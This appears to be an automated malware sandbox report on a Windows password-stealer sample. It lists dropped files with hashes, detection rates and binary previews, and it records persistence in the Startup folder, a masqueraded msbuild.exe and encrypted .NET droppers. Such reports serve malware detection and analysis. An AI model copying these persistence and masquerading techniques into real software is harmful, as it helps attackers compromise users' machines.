Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9DA7.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6867515279111696
Encrypted:	false
SSDEEP:	96:TiZYWom6RgsYFYpWmHvYEZoAtHiiMCbj5wASKe0FaqbOMnEeI703:2ZDSZSXuH7FaqbOMnEp703
MD5:	8169433C35E0B71E18A94B756764A183
SHA1:	1B62237ADD666FE5C0E985CC93E09EF8394CE2F3
SHA-256:	0512A3B7B5194CF4A074BB26925175DB5BD4D835C96D69EBF3613354C4028A79
SHA-512:	772A355B2503B681A628AFE44A14D0C1AB63E17F9AC5D63AC1C92E91E3E007095BED8630051A1C816C84AFBB1521288D991343AA5DCF00C968BEF742709DC6DD
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\xlffyhztkvzk\pkiwizgebqxq.exe

Download File

Process:	C:\Program Files\Windows Media Player\wmplayer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	171008
Entropy (8bit):	6.419077616064984
Encrypted:	false
SSDEEP:	3072:9IV3QSwkohYkQr0jeLwJr95rJolNAzyP+msVK0Zz:9IV32YQqLwhHrWsOP+5VT
MD5:	89DCD2D4C0EC638AADC00D3530E07E1D
SHA1:	53DB931EBA71BD6FB14A4B0F4D0E601963C09299
SHA-256:	C3252A14845280B1A938B4DEF08F04690EA36E4454D0BEBEECC4E31A9C30D742
SHA-512:	BAD5D21A28F69633D13A372DA4C2FA4B9586C30E4B43BEC361FAC1BE6BDED7C49FE684C65F77B60E54346C899E2CFB36FCB291AB3536335D92F3C6AC2AEDEA41
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........g....................................................................Rich............................PE..d...c.h..........."............................@.....................................b....`.......... .......................................>..x.......hY...`..................<....9..T............................0..............(1..0...$=..`....................text............................... ..`.rdata.......0......."..............@..@.data........P.......:..............@....pdata.......`.......<..............@..@.didat..@....p.......>..............@....rsrc...hY.......Z...@..............@..@.reloc..<...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4770 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	4770
Entropy (8bit):	7.946747821604857
Encrypted:	false
SSDEEP:	96:9/nBu64pydcvOHRUfu0xK1bQYMRSRNoYmxYvk56sHMZhh4m:9/nBuP2cGxUfu6K1bpWJ6vfh4m
MD5:	1BFE591A4FE3D91B03CDF26EAACD8F89
SHA1:	719C37C320F518AC168C86723724891950911CEA
SHA-256:	9CF94355051BF0F4A45724CA20D1CC02F76371B963AB7D1E38BD8997737B13D8
SHA-512:	02F88DA4B610678C31664609BCFA9D61DB8D0B0617649981AF948F670F41A6207B4EC19FECCE7385A24E0C609CBBF3F2B79A8ACAF09A03C2C432CC4DCE75E9DB
Malicious:	false
Preview:	MSCF............,...................O.................2Wqh .disallowedcert.stl....^K...CK.wTS...:.w.K'.C0T.....Bh.{....C.)......Y@...(..).R."E..D^6........u....\|f~3...o.3. ..SPK.k.o#...."{-.U..P........:..aPr.@.d......Dy.h.....)..:...!./\A.....A<I_<$...q.h..........'.....7....H...@`T..K.S.%...Y4..R.....`.....-....D...(..b..-c."...G.=.dx..S+..2.a.E....d.L...77J...c.[..@..iT&..^78..g....NW6.Ek..FY.F........cNt.O...R..........D...... k........J.y...z.d...;.9_t...].@....yw..}.x....d.t..`f\K..;\|.h.X...4/.;.xT......q>.0...<...3...X..L$.&.,b.....\V....\......G..O..@..H3.....t..J..).x.?.{[..G>.7...<...^Q..z..Gw9P..d....i].n%K}.z..2.Py...A..s...z..@...4..........4.....Y.d..._Z.5.s..fl.C..#.K{9^.E...k..z.Ma..G.(.....5g. ...}.t.#4....$;.,....S@fs....k......u .^2.#_...I........;.......w..P...UCY...$;.S._\|.x..dK...[i..q..^.l..A.?.....'N.. .L.l......m.*.+f#]............A.;.....Z..rIt....RW....Kr1e=8.=.z:Oi.z.d..r..C_......o...]j.N;.s....3@3.dgrv.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	338
Entropy (8bit):	3.1689404034189526
Encrypted:	false
SSDEEP:	6:kKHUCyN+SkQlPlEGYRMY9z+s3Ql2DUevat:PB5kPlE99SCQl2DUevat
MD5:	0CE3668331116DC2C269DBDDBE8E265F
SHA1:	A344A6A45E436B95A93ED1402014DB082FC1007A
SHA-256:	0D8206E3887335A745DD4E0A461D12B59CD53ECDBA7656D9A9634A0205301010
SHA-512:	624000980BFFFDCAE03A7A6EC64A4A7B03C060C0920822975968090F348241A6308200CD156B9694259F5E9C5A83AD9C808E626616C8DFDDEC7AF50DEC0A1356
Malicious:	false
Preview:	p...... .........H.....(....................................................... .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\msbuild.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.36509199858051
Encrypted:	false
SSDEEP:	6:Q3La/xwchM3RJoDLIP12MUAvvR+uCqDLIP12MUAvvR+uTL2ql2ABgTv:Q3La/hhkvoDLI4MWuCqDLI4MWuPTAv
MD5:	3C63E66D9AEEF8DBC085D1459854EE3E
SHA1:	770A084649B3A7D9CB0CF1A5B922FE2AC9D59122
SHA-256:	06DF1E84C6419E6B0752C1CFD1B9D51A5D3EC1BC44513B5C1EB7400FA18760C4
SHA-512:	8626E48E0854AC46C4024F00A6FF170EFE896C06D2E37022FE6F757FBD933EEE00E97D977F5B13CA5A41822651E32469B152778B04296657E0B4F19DEF18F103
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\ServiceHub\msbuild.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	262432
Entropy (8bit):	6.179415524830389
Encrypted:	false
SSDEEP:	3072:7a0t0yH5wCwie3NnQNLpj/Wnqvsw2XpFU4rwOeTubZSzf02RFihx2uzj:m0ny3nnKpqnZRXfw702birr/
MD5:	8FDF47E0FF70C40ED3A17014AEEA4232
SHA1:	E6256A0159688F0560B015DA4D967F41CBF8C9BD
SHA-256:	ED9884BAC608C06B7057037CC91D90E4AE5F74DD2DBCE2AF476699C6D4492D82
SHA-512:	BD69D092ED4F9C5E1F24EAF5EC79FB316469D53849DC798FAE0FCBA5E90869B77EE924C23CC6F692198FF25827AB60AD47BB46CADD6E0AADDE7731CBAFB013BE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KFpBzffEaM.exe, Detection: malicious, Browse Filename: LMcGYzntaD.exe, Detection: malicious, Browse Filename: Order 72005918536.bat.exe, Detection: malicious, Browse Filename: Pitsn.exe, Detection: malicious, Browse Filename: ujWn3eOza6.exe, Detection: malicious, Browse Filename: PANELLI_s.r.l._.exe, Detection: malicious, Browse Filename: CDGT003983765367VND--30983RDGHJ.exe, Detection: malicious, Browse Filename: 7nwLP8vlHl.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.].........."...0..\|...B......:.... ........@.. ...............................L....`....................................O........>.............. A........................................................... ............... ..H............text...Xz... ...\|.................. ..`.rsrc....>.......@...~..............@..@.reloc..............................@..B........................H........)...................\|...........................................{.......v.(=....r...p({...-..+..}........0..%........(....-......(z.....&..}..............................0..5........(....-...-.r+..ps>...z.....i(z.....&..}......................%......>....(?...(....N..(@....oA...(....:...(B...(....:...(C...(....*....(........0..G........(....,....(....-...}......r...p(x...&.(v.....}......&..}....................7.......0..f........-.r7..ps>...z .....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_clt0zb5m.tew.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ii40d0gv.52f.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o1rhrphd.bpp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t2g2xhwy.jqz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\hgzxhw.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	402454
Entropy (8bit):	7.956202925572555
Encrypted:	false
SSDEEP:	12288:ZtLhXjSIa8550C4CrkE7ZeW9QcVbqZ/ITCZ:LhTGbAwE7n9rVbq/ITCZ
MD5:	3F3A51617811E9581ABA50376599EFA6
SHA1:	9B26AA73F43A4DB9B216B90D1AA3E2E4D602FDE8
SHA-256:	5F3403E13E316D9320D46233E9F62B183623C46EC80C6C55139EFDD72C5ADA37
SHA-512:	9AD5CFB29281DD462B726C7EE239926F83050181FE4F6C3E9057E51DF65AE7F850CECBF1CB453287720314275335DF36BB8D5299D09A1F73329A5B9292DB3EE3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 35% Antivirus: Virustotal, Detection: 49%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....E..........."...0................. ....@...... ....................................`.............................................................................................8............................................................ ..H............text....... ...................... ..`.rsrc...............................@..@........................................H........<..Zd......]...\...............................................H...........n\m..}~'.A.1..>C#\.d.......F.\.H~.z'.d.k..gF~.....o....o....F~.....o....o...."..(....Vs.........s...........(....:.(......}....Z.r...pr...pr...p(....J..r...pr...p(....:...r...p(......((.....{...."..}......{...."..}......{...."..}......()..."..o.....{...."..}......{...."..}......{...."..}.......2.r...p($...6..r...p(/.....(P..."(Q.....6.......(S...>........(U...&......

C:\Users\user\AppData\Local\Temp\ohvrxt.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17267312
Entropy (8bit):	7.999808518761566
Encrypted:	true
SSDEEP:	393216:n08SuFARbcMeyEjnSB1rPHaEHwRgSqdxYhZymNcQOYJO:nKuFyeyEjurPHaEHLxmRO
MD5:	D01B812C108576056594805B6E9E7064
SHA1:	290FC3E50CF13A1595F1BA3357285153AC98834D
SHA-256:	9A6AC9ACC3267FC22ECD8872E3E9D863DCE608D609EE06FB0769B599CE669EC4
SHA-512:	D3709B4A6760E149BCD774F7648857A47161E7144530E3D1AE700B33861837D494D646BB8ACCD3980B3CCB955682C9C1EBE2C3F22371FB9566F669C48FB09BE4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 62% Antivirus: Virustotal, Detection: 50%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....5..........."...0..[............... ....@...... ....................................`.........................................................................................${..8............................................................ ..H............text....[... ...\.................. ..`.rsrc................^..............@..@........................................H.......xh..............lz..............................................H.......2~.....o,...2~.....o,...Vs2........s2..........(3...:.(3.....}....6.(4....(......(5...z.,..{....,..{....o6.....(7.....r...p(....~N...oO........r...p(....oP...-..+...(Q...f.,..,...,...,...i..i....r{..p(....(....r3..p(....(.........(V...(W...t........o....R.oh.......ioi.........(........( ...}5.......( ...Z}6......( ...}7...V.(#...-.(z....({..."..(\|.......(}..."..(~..."..(....*"..(....

C:\Users\user\AppData\Local\Temp\spczxf.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	774166
Entropy (8bit):	7.984554592928592
Encrypted:	false
SSDEEP:	12288:gectZ++Vhu0XzXNiKj5JS9Tt0zfjq2g0L5OaWXnqtw9xJvZ5UFX5ZMA:G++ru0jgKj5zjTHL5anqAnZ5UzKA
MD5:	D76027FE4CFD48C7F8999C796E50E731
SHA1:	5026422E84BF445E2D141529E2B808187A30D9F6
SHA-256:	148DA274864C690A7C01119E025BDC0AB94FA9C110C30AFB42E51B1C990A2799
SHA-512:	2E2C4A5319A61555913648702DDCFB8B40D548DCFDA1A536A2E85F9CB85D25D9A463743DC866F86B4DE99FD10F9C402DEF424B9E8A203189518F45E924B89D2D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 41% Antivirus: Virustotal, Detection: 48%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....E..........."...0.................. ....@...... ....................................`.............................................................................................8............................................................ ..H............text........ ...................... ..`.rsrc...............................@..@........................................H........<..Fc......]...H...............................................H.......G.....).%8Y#...b."....w..O....6M`...o..X_C.:.N.F~.....o....o....F~.....o....o...."..(....Vs.........s...........(....:.(......}....Z.rU..prW..prU..p(....J..rW..prU..p(....:...rU..p(......((.....{...."..}......{...."..}......{...."..}......()..."..o.....{...."..}......{...."..}......{...."..}.......2.rW..p($...6..rW..p(/.....(P..."(Q.....6.......(S...>........(U...&......

C:\Users\user\AppData\Local\Temp\utntwb.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	3288598
Entropy (8bit):	7.998801276427663
Encrypted:	true
SSDEEP:	98304:QB1NPKFmefBA+MShHfYBb5IuwGHV3dnwzfk2NccsS+:QB7gtJfwiGHVNwbnNccsS+
MD5:	86E00D529B3B454A84B942AC916211E3
SHA1:	021C733E5448436B384BF0D3A0BA81F4D0D93F9A
SHA-256:	30E01B261CB5D7524A303CDBE9D177FC05D74279642E4A87B46EE70045E68D53
SHA-512:	9A08379B35A3BF1699B925C6DBFC6E85123F1155E567929EAFF3683E5E9F196A16775E3A2F6A7585F7C0F0F201EF4BE009CDA5CF94B160742642145837C3DE1E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46% Antivirus: Virustotal, Detection: 32%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....E..........."...0.................. ....@...... ....................................`.........................................................................................`...8............................................................ ..H............text........ ...................... ..`.rsrc...............................@..@........................................H........<...d......]...................................................H.........H... ..Yt..+d..v...}EMa....4W..<W.)..&s.xd.F~.....o....o....F~.....o....o...."..(....Vs.........s...........(....:.(......}....Z.rf..prh..prf..p(....J..rh..prf..p(....:...rf..p(......((.....{...."..}......{...."..}......{...."..}......()..."..o.....{...."..}......{...."..}......{...."..}.......2.rh..p($...6..rh..p(/.....(P..."(Q.....6.......(S...>........(U...&......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45448
Entropy (8bit):	6.39682271149109
Encrypted:	false
SSDEEP:	768:PjdwXPJ7EY8pcuOjkZaEMQyT8EZwJOjYRL0juqIy5e:PjY7cRO4a0A8Euj0ju3qe
MD5:	10072393B2116AF4483194F101923CA4
SHA1:	431B2746B95F7A3A782BE631BBE8351BDA9B7C5E
SHA-256:	AFDF6F2793B96BAF7BEE4E5D28054EAA761BC70A8F65BC4E0AE7C4CEC3B54C2B
SHA-512:	406C65EA5C34CA65DCC5C2A47486379B935FA897F2561559787197721445D922E73C3B99C1F4931763A45BEABA05CA097582F619ECFACF856091BE4C2B4C8E4C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.Ll.."?.."?.."?..#>.."?..!>.."?..&>.."?..'>.."?..?.."?..#>.."?..?.."?..?.."?..#?.."?..'>.."?..">.."?...?.."?.. >.."?Rich.."?........................PE..d......b.........."......R...8.......V.........@..........................................`.......... ..................................4...4...x.......T................#......L...Pz..T............................y...............p..........@....................text....Q.......R.................. ..`.rdata...#...p...$...V..............@..@.data................z..............@....pdata...............\|..............@..@.didat..(...........................@....rsrc...T...........................@..@.reloc..L...........................@..B................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\tc.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:LaC:OC
MD5:	414AAB43F9EA61FCBC874CD99A7333B3
SHA1:	9B219911932D66A3778B0BE22F65E6ECB4065CA5
SHA-256:	D60D0AEA31404CBFE682B9EC609EFEF424DE7A8934D860005C5AC94175B38858
SHA-512:	6853114A57B863F75E9103470B9420C7F622CAFCD74108A14C72AC4E746016E6677BA0D09B53BF260AF260A5423F957F35EEFD827E249795DBA7588438278A95
Malicious:	false
Preview:	1711617952

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4293312515886205
Encrypted:	false
SSDEEP:	6144:Wcifpi6ceLPL9skLmb0mwSWSPtaJG8nAgex285i2MMhA20X4WABlGuNB5+:zi58wSWIZBk2MM6AFBvo
MD5:	6191E5A49033BB26A01EE194FD795530
SHA1:	C2CD7B9A755F9BB88B31550551E9A6A272A8B55D
SHA-256:	DBC8DA2EB3C3D7CA8B4DFE92F9A077C07DAE46E2124042C000364945AFED5226
SHA-512:	900035742E8C47D9FA05E70850BD82718CEC0A3BBB4759B8FE52CE68E9548277C7E5FF245B73D919B07F8F442CC3A747F06FC88C21897D0014681D306B5DB431
Malicious:	false
Preview:	regfI...I....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.1..................................................................................................................................................................................................................................................................................................................................................k..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\ServiceHub\msbuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	298
Entropy (8bit):	4.924206445966445
Encrypted:	false
SSDEEP:	6:zx3M1tFAbQtASR30qyMstwYVoRRZBXVN+J0fFdCsq2UTiMdH8stCal+n:zK13P30ZMt9BFN+QdCT2UftCM+
MD5:	932782CF70ED00D22C0B08B5027B4E31
SHA1:	78F460A2155D9E819B8452C281285D7E0A7AC14F
SHA-256:	F2C2477FB3FD0A30F3D3D8637EF9C774B43E940043635DF90CDD804799A2ECE7
SHA-512:	C83E72797C03CABCAB066B95BAEEBB13944143846794061CF9482EA3B283979E470930047FDAE72A6F06F51F3127FF39DAAEFAAD7557E3AD49F590B9E7B78D24
Malicious:	false
Preview:	Microsoft (R) Build Engine version 4.8.4084.0..[Microsoft .NET Framework, version 4.0.30319.42000]..Copyright (C) Microsoft Corporation. All rights reserved.....MSBUILD : error MSB1003: Specify a project or solution file. The current working directory does not contain a project or solution file...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.879944031563754
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe
File size:	466'528 bytes
MD5:	c8d9593196962fa5d706a207c16674cd
SHA1:	686a8e674e6615d5cd91f7b2cba0c755054b3f69
SHA256:	a50078c294c3980c23fc8da34f3fd1dc8ca042e07e0f7f67696d7035ec84700d
SHA512:	5ddae80780c6091bfe0ab5e29bc63732c08ce34f677fc341366dcecf6db9e1bd2e0ed24cfe57eface0d19c6f46010f47eb2d74888b91a503dae00651c4a756bf
